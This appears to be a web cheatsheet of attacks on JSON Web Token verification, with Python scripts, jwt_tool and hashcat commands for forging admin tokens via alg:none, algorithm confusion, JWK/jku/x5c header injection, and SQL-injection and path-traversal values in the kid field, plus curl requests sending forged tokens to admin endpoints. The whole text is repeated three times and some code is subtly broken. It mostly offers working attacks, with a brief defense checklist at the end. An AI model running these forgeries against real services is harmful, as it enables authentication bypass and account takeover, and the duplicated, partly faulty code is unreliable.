JWT Attack Cheatsheet: Algorithm Confusion, Key Confusion & Token Forgery
Thu May 28 2026
Category: Cheatsheet
JWT Structure
header.payload.signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.eyJzdWIiOiJ1c2VyIiwicm9sZSI6InVzZXIifQ
.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Header: {"alg":"HS256","typ":"JWT"}
Payload: {"sub":"user","role":"user","iat":1234567890}
Signature: HMACSHA256(base64url(header)+"."+base64url(payload), secret)
Attack 1: alg: none Bypass
Server accepts tokens without a signature when alg is set to none.
import base64, json
header = {"alg":"none","typ":"JWT"}
payload = {"sub":"admin","role":"admin","iat":9999999999}
def b64(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b'=').decode()
token = f"{b64(header)}.{b64(payload)}."
print(token)
Variations of alg value to try:
none
None
NONE
nOnE
NoNe
Attack 2: HS256/RS256 Algorithm Confusion
When server expects RS256 (asymmetric) but accepts HS256 (symmetric):
Idea: Sign token with HMAC using the public key as the secret. Server verifies with the same public key thinking it's HMAC.
import jwt, base64
# 1. Get the public key from /.well-known/jwks.json or /api/public-key
public_key = open('public.pem','rb').read()
# 2. Forge token signed with HS256 using public key as secret
payload = {"sub": "admin", "role": "admin", "iat": 9999999999}
token = jwt.encode(payload, public_key, algorithm="HS256")
print(token)
Attack 3: Weak Secret Cracking
# Hashcat
hashcat -a 0 -m 16500 'eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIn0.XXXX' /usr/share/wordlists/rockyou.txt
# john
john --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt
# jwt_tool brute force
python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt
# Common weak secrets to try manually
secret
password
123456
jwt_secret
your-256-bit-secret
qwerty
admin
changeme
supersecret
myapp_secret
Attack 4: JWK Header Injection
Embed your own public key in the JWT header → server verifies with your key.
# 1. Generate RSA key pair
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import jwt, json, base64
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()
# 2. Export public key as JWK
pub_numbers = public_key.public_key().public_numbers()
n = base64.urlsafe_b64encode(pub_numbers.n.to_bytes(256,'big')).rstrip(b'=').decode()
e = base64.urlsafe_b64encode(pub_numbers.e.to_bytes(4,'big')).rstrip(b'=').decode()
jwk = {
"kty": "RSA",
"n": n,
"e": e,
"alg": "RS256",
"use": "sig"
}
# 3. Forge token with embedded JWK
headers = {"alg": "RS256", "jwk": jwk}
payload = {"sub": "admin", "role": "admin"}
token = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)
Attack 5: jku Header Injection
jku points to a URL containing the JWKS. Replace it with your own server.
{
"alg": "RS256",
"jku": "https://attacker.com/fake-jwks.json",
"kid": "mykey"
}
Host at https://attacker.com/fake-jwks.json:
{
"keys": [{
"kty": "RSA",
"kid": "mykey",
"n": "<your-public-key-n>",
"e": "AQAB"
}]
}
Sign token with corresponding private key.
Attack 6: kid SQL Injection
If kid (Key ID) is used in a database lookup:
# Normal kid
{"kid": "1", "alg": "HS256"}
# SQL injection in kid
{"kid": "1' UNION SELECT 'attacker_secret'-- -", "alg": "HS256"}
# Sign with 'attacker_secret'
jwt.encode(payload, 'attacker_secret', algorithm='HS256', headers={'kid': "1' UNION SELECT 'attacker_secret'-- -"})
Attack 7: kid Path Traversal
If kid is a filename:
{
"kid": "../../dev/null",
"alg": "HS256"
}
Sign with empty string (content of /dev/null = empty = HMAC with empty key):
jwt.encode(payload, '', algorithm='HS256', headers={'kid': '../../dev/null'})
{
"kid": "../../../../../../../etc/passwd",
"alg": "HS256"
}
Sign with content of the referenced file as the secret.
Attack 8: x5c Header Injection
Embed self-signed X.509 certificate in the x5c header:
# Generate self-signed cert
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
# Embed cert in JWT header
import base64
cert_der = open('cert.pem','rb').read()
x5c = [base64.b64encode(cert_der).decode()]
headers = {"alg": "RS256", "x5c": x5c}
token = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)
Attack 9: Claim Tampering (No Signature Check)
If signature is not verified at all:
import base64, json
# Decode existing token
token = "eyJ....eyJ....sig"
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
# Modify claims
payload['role'] = 'admin'
payload['sub'] = 'administrator'
# Re-encode without valid signature
new_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
forged = f"{parts[0]}.{new_payload}.{parts[2]}"
Attack 10: Expired Token Reuse
# Set nbf (not before) far in future to make token "not valid yet" but
# check if server still accepts it
# Set exp in past — check if server ignores expiry
{"exp": 1000000000, ...} # year 2001 = expired
# Set iat far in future — clock skew attacks
{"iat": 9999999999, ...}
jwt_tool — Swiss Army Knife
# Install
git clone https://github.com/ticarpi/jwt_tool
# Basic decode
python3 jwt_tool.py <token>
# Test all attacks
python3 jwt_tool.py <token> -t https://target.com/api/endpoint -rh "Authorization: Bearer <token>" -M at
# alg:none
python3 jwt_tool.py <token> -X a
# HS/RSA confusion
python3 jwt_tool.py <token> -X k -pk public.pem
# Crack weak secret
python3 jwt_tool.py <token> -C -d wordlist.txt
# Tamper payload
python3 jwt_tool.py <token> -T -S hs256 -p "secret"
# JWK injection
python3 jwt_tool.py <token> -X i
# jku injection
python3 jwt_tool.py <token> -X s
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| CVE-2015-9235 | 2015 | jsonwebtoken (npm) | alg:none accepted → forge any token |
| CVE-2022-21449 | 2022 | Java ECDSA (Psychic Signatures) | Blank signature accepted → bypass ECDSA verify |
| CVE-2018-0114 | 2018 | Cisco IOS XE | JWT forged with embedded JWK → admin access |
| Auth0 RS256→HS256 | 2015 | Auth0 / multiple | Public key used as HMAC secret → admin token forgery |
| CVE-2020-28042 | 2020 | python-jwt | JWT split by . error → none algorithm accepted |
| Okta SAML/JWT bypass | 2022 | Okta | JWT claim manipulation → account takeover |
Example: CVE-2015-9235 — jsonwebtoken alg:none
import base64, json
# Original token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6InVzZXIifQ.SIG
# Step 1: Decode header and payload
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "admin", "role": "admin", "iat": 9999999999}
def b64e(data):
return base64.urlsafe_b64encode(json.dumps(data, separators=(',',':')).encode()).rstrip(b'=').decode()
# Step 2: Build token with empty signature
forged = f"{b64e(header)}.{b64e(payload)}."
print(forged)
# Use in request:
curl -H "Authorization: Bearer $forged" https://target.com/api/admin
Example: CVE-2022-21449 — Java Psychic Signatures
// All-zero ECDSA signature passes Java's verification
// Attacker creates token with r=0, s=0 in signature bytes
import java.math.BigInteger;
// ... construct ECDSA signature with r=BigInteger.ZERO, s=BigInteger.ZERO
// Java's ECDSAVerifier accepted this due to missing check
// Proof-of-concept: submit ANY token with zeroed signature
// b64url("r=0000...0000, s=0000...0000") as signature field
// Works against Java 15-17 before patch
Example: HS256/RS256 Confusion — Auth0 (2015)
import jwt
# Step 1: Fetch public key from target
# GET /.well-known/jwks.json → extract RSA public key → save as public.pem
# Step 2: Sign HS256 token using RSA PUBLIC KEY as the HMAC secret
public_key = open('public.pem', 'rb').read()
payload = {"sub": "admin", "role": "admin", "iat": 9999999999}
token = jwt.encode(payload, public_key, algorithm="HS256")
# Step 3: Server verifies with public key thinking it's HS256
# jwt.decode(token, public_key, algorithms=["HS256"])
# → This SUCCEEDS if server doesn't restrict algorithm
curl -H "Authorization: Bearer $token" https://target.com/api/admin/users
Example: jwt_tool — All-in-One Attack
# Decode a token
python3 jwt_tool.py eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIn0.xxx
# Run all attacks against live endpoint
python3 jwt_tool.py eyJ...token... \
-t https://target.com/api/admin \
-rh "Authorization: Bearer eyJ...token..." \
-M at # mode: all tests
# Crack HS256 secret
python3 jwt_tool.py eyJ...token... -C -d /usr/share/wordlists/rockyou.txt
# alg:none
python3 jwt_tool.py eyJ...token... -X a
# kid path traversal → sign with /dev/null
python3 jwt_tool.py eyJ...token... -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Useful Online Tools
- jwt.io — Decode/encode tokens
- token.dev — Generate and verify tokens
- PortSwigger JWT Labs
Recon — Finding the Public Key
# Common JWKS endpoints
/.well-known/jwks.json
/api/auth/jwks
/api/v1/jwks
/oauth/jwks
/auth/keys
/auth/v1/keys
/api/public-key
/public-key
/certs
# Decode RS256 token → look for n, e in header
echo 'eyJ...' | cut -d. -f1 | base64 -d 2>/dev/null | jq
Defense Checklist
- Validate
algheader — reject if not expected (never trust client-provided algorithm) - Never accept
alg: none - Use strong, random HMAC secrets (256+ bits, not guessable)
- Validate
exp,nbf,iatclaims - Do not trust
jku,x5c,jwkheaders for key material - Sanitize
kidparameter — do not use in SQL/file reads - Use battle-tested libraries — do not roll your own JWT
References
JWT Structure
header.payload.signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.eyJzdWIiOiJ1c2VyIiwicm9sZSI6InVzZXIifQ
.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Header: {"alg":"HS256","typ":"JWT"}
Payload: {"sub":"user","role":"user","iat":1234567890}
Signature: HMACSHA256(base64url(header)+"."+base64url(payload), secret)
Attack 1: alg: none Bypass
Server accepts tokens without a signature when alg is set to none.
import base64, json
header = {"alg":"none","typ":"JWT"}
payload = {"sub":"admin","role":"admin","iat":9999999999}
def b64(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b'=').decode()
token = f"{b64(header)}.{b64(payload)}."
print(token)
Variations of alg value to try:
none
None
NONE
nOnE
NoNe
Attack 2: HS256/RS256 Algorithm Confusion
When server expects RS256 (asymmetric) but accepts HS256 (symmetric):
Idea: Sign token with HMAC using the public key as the secret. Server verifies with the same public key thinking it's HMAC.
import jwt, base64
# 1. Get the public key from /.well-known/jwks.json or /api/public-key
public_key = open('public.pem','rb').read()
# 2. Forge token signed with HS256 using public key as secret
payload = {"sub": "admin", "role": "admin", "iat": 9999999999}
token = jwt.encode(payload, public_key, algorithm="HS256")
print(token)
Attack 3: Weak Secret Cracking
# Hashcat
hashcat -a 0 -m 16500 'eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIn0.XXXX' /usr/share/wordlists/rockyou.txt
# john
john --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt
# jwt_tool brute force
python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt
# Common weak secrets to try manually
secret
password
123456
jwt_secret
your-256-bit-secret
qwerty
admin
changeme
supersecret
myapp_secret
Attack 4: JWK Header Injection
Embed your own public key in the JWT header → server verifies with your key.
# 1. Generate RSA key pair
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import jwt, json, base64
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()
# 2. Export public key as JWK
pub_numbers = public_key.public_key().public_numbers()
n = base64.urlsafe_b64encode(pub_numbers.n.to_bytes(256,'big')).rstrip(b'=').decode()
e = base64.urlsafe_b64encode(pub_numbers.e.to_bytes(4,'big')).rstrip(b'=').decode()
jwk = {
"kty": "RSA",
"n": n,
"e": e,
"alg": "RS256",
"use": "sig"
}
# 3. Forge token with embedded JWK
headers = {"alg": "RS256", "jwk": jwk}
payload = {"sub": "admin", "role": "admin"}
token = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)
Attack 5: jku Header Injection
jku points to a URL containing the JWKS. Replace it with your own server.
{
"alg": "RS256",
"jku": "https://attacker.com/fake-jwks.json",
"kid": "mykey"
}
Host at https://attacker.com/fake-jwks.json:
{
"keys": [{
"kty": "RSA",
"kid": "mykey",
"n": "<your-public-key-n>",
"e": "AQAB"
}]
}
Sign token with corresponding private key.
Attack 6: kid SQL Injection
If kid (Key ID) is used in a database lookup:
# Normal kid
{"kid": "1", "alg": "HS256"}
# SQL injection in kid
{"kid": "1' UNION SELECT 'attacker_secret'-- -", "alg": "HS256"}
# Sign with 'attacker_secret'
jwt.encode(payload, 'attacker_secret', algorithm='HS256', headers={'kid': "1' UNION SELECT 'attacker_secret'-- -"})
Attack 7: kid Path Traversal
If kid is a filename:
{
"kid": "../../dev/null",
"alg": "HS256"
}
Sign with empty string (content of /dev/null = empty = HMAC with empty key):
jwt.encode(payload, '', algorithm='HS256', headers={'kid': '../../dev/null'})
{
"kid": "../../../../../../../etc/passwd",
"alg": "HS256"
}
Sign with content of the referenced file as the secret.
Attack 8: x5c Header Injection
Embed self-signed X.509 certificate in the x5c header:
# Generate self-signed cert
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
# Embed cert in JWT header
import base64
cert_der = open('cert.pem','rb').read()
x5c = [base64.b64encode(cert_der).decode()]
headers = {"alg": "RS256", "x5c": x5c}
token = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)
Attack 9: Claim Tampering (No Signature Check)
If signature is not verified at all:
import base64, json
# Decode existing token
token = "eyJ....eyJ....sig"
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
# Modify claims
payload['role'] = 'admin'
payload['sub'] = 'administrator'
# Re-encode without valid signature
new_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
forged = f"{parts[0]}.{new_payload}.{parts[2]}"
Attack 10: Expired Token Reuse
# Set nbf (not before) far in future to make token "not valid yet" but
# check if server still accepts it
# Set exp in past — check if server ignores expiry
{"exp": 1000000000, ...} # year 2001 = expired
# Set iat far in future — clock skew attacks
{"iat": 9999999999, ...}
jwt_tool — Swiss Army Knife
# Install
git clone https://github.com/ticarpi/jwt_tool
# Basic decode
python3 jwt_tool.py <token>
# Test all attacks
python3 jwt_tool.py <token> -t https://target.com/api/endpoint -rh "Authorization: Bearer <token>" -M at
# alg:none
python3 jwt_tool.py <token> -X a
# HS/RSA confusion
python3 jwt_tool.py <token> -X k -pk public.pem
# Crack weak secret
python3 jwt_tool.py <token> -C -d wordlist.txt
# Tamper payload
python3 jwt_tool.py <token> -T -S hs256 -p "secret"
# JWK injection
python3 jwt_tool.py <token> -X i
# jku injection
python3 jwt_tool.py <token> -X s
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| CVE-2015-9235 | 2015 | jsonwebtoken (npm) | alg:none accepted → forge any token |
| CVE-2022-21449 | 2022 | Java ECDSA (Psychic Signatures) | Blank signature accepted → bypass ECDSA verify |
| CVE-2018-0114 | 2018 | Cisco IOS XE | JWT forged with embedded JWK → admin access |
| Auth0 RS256→HS256 | 2015 | Auth0 / multiple | Public key used as HMAC secret → admin token forgery |
| CVE-2020-28042 | 2020 | python-jwt | JWT split by . error → none algorithm accepted |
| Okta SAML/JWT bypass | 2022 | Okta | JWT claim manipulation → account takeover |
Example: CVE-2015-9235 — jsonwebtoken alg:none
import base64, json
# Original token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6InVzZXIifQ.SIG
# Step 1: Decode header and payload
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "admin", "role": "admin", "iat": 9999999999}
def b64e(data):
return base64.urlsafe_b64encode(json.dumps(data, separators=(',',':')).encode()).rstrip(b'=').decode()
# Step 2: Build token with empty signature
forged = f"{b64e(header)}.{b64e(payload)}."
print(forged)
# Use in request:
curl -H "Authorization: Bearer $forged" https://target.com/api/admin
Example: CVE-2022-21449 — Java Psychic Signatures
// All-zero ECDSA signature passes Java's verification
// Attacker creates token with r=0, s=0 in signature bytes
import java.math.BigInteger;
// ... construct ECDSA signature with r=BigInteger.ZERO, s=BigInteger.ZERO
// Java's ECDSAVerifier accepted this due to missing check
// Proof-of-concept: submit ANY token with zeroed signature
// b64url("r=0000...0000, s=0000...0000") as signature field
// Works against Java 15-17 before patch
Example: HS256/RS256 Confusion — Auth0 (2015)
import jwt
# Step 1: Fetch public key from target
# GET /.well-known/jwks.json → extract RSA public key → save as public.pem
# Step 2: Sign HS256 token using RSA PUBLIC KEY as the HMAC secret
public_key = open('public.pem', 'rb').read()
payload = {"sub": "admin", "role": "admin", "iat": 9999999999}
token = jwt.encode(payload, public_key, algorithm="HS256")
# Step 3: Server verifies with public key thinking it's HS256
# jwt.decode(token, public_key, algorithms=["HS256"])
# → This SUCCEEDS if server doesn't restrict algorithm
curl -H "Authorization: Bearer $token" https://target.com/api/admin/users
Example: jwt_tool — All-in-One Attack
# Decode a token
python3 jwt_tool.py eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIn0.xxx
# Run all attacks against live endpoint
python3 jwt_tool.py eyJ...token... \
-t https://target.com/api/admin \
-rh "Authorization: Bearer eyJ...token..." \
-M at # mode: all tests
# Crack HS256 secret
python3 jwt_tool.py eyJ...token... -C -d /usr/share/wordlists/rockyou.txt
# alg:none
python3 jwt_tool.py eyJ...token... -X a
# kid path traversal → sign with /dev/null
python3 jwt_tool.py eyJ...token... -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Useful Online Tools
- jwt.io — Decode/encode tokens
- token.dev — Generate and verify tokens
- PortSwigger JWT Labs
Recon — Finding the Public Key
# Common JWKS endpoints
/.well-known/jwks.json
/api/auth/jwks
/api/v1/jwks
/oauth/jwks
/auth/keys
/auth/v1/keys
/api/public-key
/public-key
/certs
# Decode RS256 token → look for n, e in header
echo 'eyJ...' | cut -d. -f1 | base64 -d 2>/dev/null | jq
Defense Checklist
- Validate
algheader — reject if not expected (never trust client-provided algorithm) - Never accept
alg: none - Use strong, random HMAC secrets (256+ bits, not guessable)
- Validate
exp,nbf,iatclaims - Do not trust
jku,x5c,jwkheaders for key material - Sanitize
kidparameter — do not use in SQL/file reads - Use battle-tested libraries — do not roll your own JWT
References
JWT Structure
header.payload.signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.eyJzdWIiOiJ1c2VyIiwicm9sZSI6InVzZXIifQ
.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Header: {"alg":"HS256","typ":"JWT"}
Payload: {"sub":"user","role":"user","iat":1234567890}
Signature: HMACSHA256(base64url(header)+"."+base64url(payload), secret)
Attack 1: alg: none Bypass
Server accepts tokens without a signature when alg is set to none.
import base64, json
header = {"alg":"none","typ":"JWT"}
payload = {"sub":"admin","role":"admin","iat":9999999999}
def b64(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b'=').decode()
token = f"{b64(header)}.{b64(payload)}."
print(token)
Variations of alg value to try:
none
None
NONE
nOnE
NoNe
Attack 2: HS256/RS256 Algorithm Confusion
When server expects RS256 (asymmetric) but accepts HS256 (symmetric):
Idea: Sign token with HMAC using the public key as the secret. Server verifies with the same public key thinking it's HMAC.
import jwt, base64
# 1. Get the public key from /.well-known/jwks.json or /api/public-key
public_key = open('public.pem','rb').read()
# 2. Forge token signed with HS256 using public key as secret
payload = {"sub": "admin", "role": "admin", "iat": 9999999999}
token = jwt.encode(payload, public_key, algorithm="HS256")
print(token)
Attack 3: Weak Secret Cracking
# Hashcat
hashcat -a 0 -m 16500 'eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIn0.XXXX' /usr/share/wordlists/rockyou.txt
# john
john --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt
# jwt_tool brute force
python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt
# Common weak secrets to try manually
secret
password
123456
jwt_secret
your-256-bit-secret
qwerty
admin
changeme
supersecret
myapp_secret
Attack 4: JWK Header Injection
Embed your own public key in the JWT header → server verifies with your key.
# 1. Generate RSA key pair
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import jwt, json, base64
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()
# 2. Export public key as JWK
pub_numbers = public_key.public_key().public_numbers()
n = base64.urlsafe_b64encode(pub_numbers.n.to_bytes(256,'big')).rstrip(b'=').decode()
e = base64.urlsafe_b64encode(pub_numbers.e.to_bytes(4,'big')).rstrip(b'=').decode()
jwk = {
"kty": "RSA",
"n": n,
"e": e,
"alg": "RS256",
"use": "sig"
}
# 3. Forge token with embedded JWK
headers = {"alg": "RS256", "jwk": jwk}
payload = {"sub": "admin", "role": "admin"}
token = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)
Attack 5: jku Header Injection
jku points to a URL containing the JWKS. Replace it with your own server.
{
"alg": "RS256",
"jku": "https://attacker.com/fake-jwks.json",
"kid": "mykey"
}
Host at https://attacker.com/fake-jwks.json:
{
"keys": [{
"kty": "RSA",
"kid": "mykey",
"n": "<your-public-key-n>",
"e": "AQAB"
}]
}
Sign token with corresponding private key.
Attack 6: kid SQL Injection
If kid (Key ID) is used in a database lookup:
# Normal kid
{"kid": "1", "alg": "HS256"}
# SQL injection in kid
{"kid": "1' UNION SELECT 'attacker_secret'-- -", "alg": "HS256"}
# Sign with 'attacker_secret'
jwt.encode(payload, 'attacker_secret', algorithm='HS256', headers={'kid': "1' UNION SELECT 'attacker_secret'-- -"})
Attack 7: kid Path Traversal
If kid is a filename:
{
"kid": "../../dev/null",
"alg": "HS256"
}
Sign with empty string (content of /dev/null = empty = HMAC with empty key):
jwt.encode(payload, '', algorithm='HS256', headers={'kid': '../../dev/null'})
{
"kid": "../../../../../../../etc/passwd",
"alg": "HS256"
}
Sign with content of the referenced file as the secret.
Attack 8: x5c Header Injection
Embed self-signed X.509 certificate in the x5c header:
# Generate self-signed cert
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
# Embed cert in JWT header
import base64
cert_der = open('cert.pem','rb').read()
x5c = [base64.b64encode(cert_der).decode()]
headers = {"alg": "RS256", "x5c": x5c}
token = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)
Attack 9: Claim Tampering (No Signature Check)
If signature is not verified at all:
import base64, json
# Decode existing token
token = "eyJ....eyJ....sig"
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
# Modify claims
payload['role'] = 'admin'
payload['sub'] = 'administrator'
# Re-encode without valid signature
new_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
forged = f"{parts[0]}.{new_payload}.{parts[2]}"
Attack 10: Expired Token Reuse
# Set nbf (not before) far in future to make token "not valid yet" but
# check if server still accepts it
# Set exp in past — check if server ignores expiry
{"exp": 1000000000, ...} # year 2001 = expired
# Set iat far in future — clock skew attacks
{"iat": 9999999999, ...}
jwt_tool — Swiss Army Knife
# Install
git clone https://github.com/ticarpi/jwt_tool
# Basic decode
python3 jwt_tool.py <token>
# Test all attacks
python3 jwt_tool.py <token> -t https://target.com/api/endpoint -rh "Authorization: Bearer <token>" -M at
# alg:none
python3 jwt_tool.py <token> -X a
# HS/RSA confusion
python3 jwt_tool.py <token> -X k -pk public.pem
# Crack weak secret
python3 jwt_tool.py <token> -C -d wordlist.txt
# Tamper payload
python3 jwt_tool.py <token> -T -S hs256 -p "secret"
# JWK injection
python3 jwt_tool.py <token> -X i
# jku injection
python3 jwt_tool.py <token> -X s
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| CVE-2015-9235 | 2015 | jsonwebtoken (npm) | alg:none accepted → forge any token |
| CVE-2022-21449 | 2022 | Java ECDSA (Psychic Signatures) | Blank signature accepted → bypass ECDSA verify |
| CVE-2018-0114 | 2018 | Cisco IOS XE | JWT forged with embedded JWK → admin access |
| Auth0 RS256→HS256 | 2015 | Auth0 / multiple | Public key used as HMAC secret → admin token forgery |
| CVE-2020-28042 | 2020 | python-jwt | JWT split by . error → none algorithm accepted |
| Okta SAML/JWT bypass | 2022 | Okta | JWT claim manipulation → account takeover |
Example: CVE-2015-9235 — jsonwebtoken alg:none
import base64, json
# Original token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6InVzZXIifQ.SIG
# Step 1: Decode header and payload
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "admin", "role": "admin", "iat": 9999999999}
def b64e(data):
return base64.urlsafe_b64encode(json.dumps(data, separators=(',',':')).encode()).rstrip(b'=').decode()
# Step 2: Build token with empty signature
forged = f"{b64e(header)}.{b64e(payload)}."
print(forged)
# Use in request:
curl -H "Authorization: Bearer $forged" https://target.com/api/admin
Example: CVE-2022-21449 — Java Psychic Signatures
// All-zero ECDSA signature passes Java's verification
// Attacker creates token with r=0, s=0 in signature bytes
import java.math.BigInteger;
// ... construct ECDSA signature with r=BigInteger.ZERO, s=BigInteger.ZERO
// Java's ECDSAVerifier accepted this due to missing check
// Proof-of-concept: submit ANY token with zeroed signature
// b64url("r=0000...0000, s=0000...0000") as signature field
// Works against Java 15-17 before patch
Example: HS256/RS256 Confusion — Auth0 (2015)
import jwt
# Step 1: Fetch public key from target
# GET /.well-known/jwks.json → extract RSA public key → save as public.pem
# Step 2: Sign HS256 token using RSA PUBLIC KEY as the HMAC secret
public_key = open('public.pem', 'rb').read()
payload = {"sub": "admin", "role": "admin", "iat": 9999999999}
token = jwt.encode(payload, public_key, algorithm="HS256")
# Step 3: Server verifies with public key thinking it's HS256
# jwt.decode(token, public_key, algorithms=["HS256"])
# → This SUCCEEDS if server doesn't restrict algorithm
curl -H "Authorization: Bearer $token" https://target.com/api/admin/users
Example: jwt_tool — All-in-One Attack
# Decode a token
python3 jwt_tool.py eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIn0.xxx
# Run all attacks against live endpoint
python3 jwt_tool.py eyJ...token... \
-t https://target.com/api/admin \
-rh "Authorization: Bearer eyJ...token..." \
-M at # mode: all tests
# Crack HS256 secret
python3 jwt_tool.py eyJ...token... -C -d /usr/share/wordlists/rockyou.txt
# alg:none
python3 jwt_tool.py eyJ...token... -X a
# kid path traversal → sign with /dev/null
python3 jwt_tool.py eyJ...token... -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Useful Online Tools
- jwt.io — Decode/encode tokens
- token.dev — Generate and verify tokens
- PortSwigger JWT Labs
Recon — Finding the Public Key
# Common JWKS endpoints
/.well-known/jwks.json
/api/auth/jwks
/api/v1/jwks
/oauth/jwks
/auth/keys
/auth/v1/keys
/api/public-key
/public-key
/certs
# Decode RS256 token → look for n, e in header
echo 'eyJ...' | cut -d. -f1 | base64 -d 2>/dev/null | jq
Defense Checklist
- Validate
algheader — reject if not expected (never trust client-provided algorithm) - Never accept
alg: none - Use strong, random HMAC secrets (256+ bits, not guessable)
- Validate
exp,nbf,iatclaims - Do not trust
jku,x5c,jwkheaders for key material - Sanitize
kidparameter — do not use in SQL/file reads - Use battle-tested libraries — do not roll your own JWT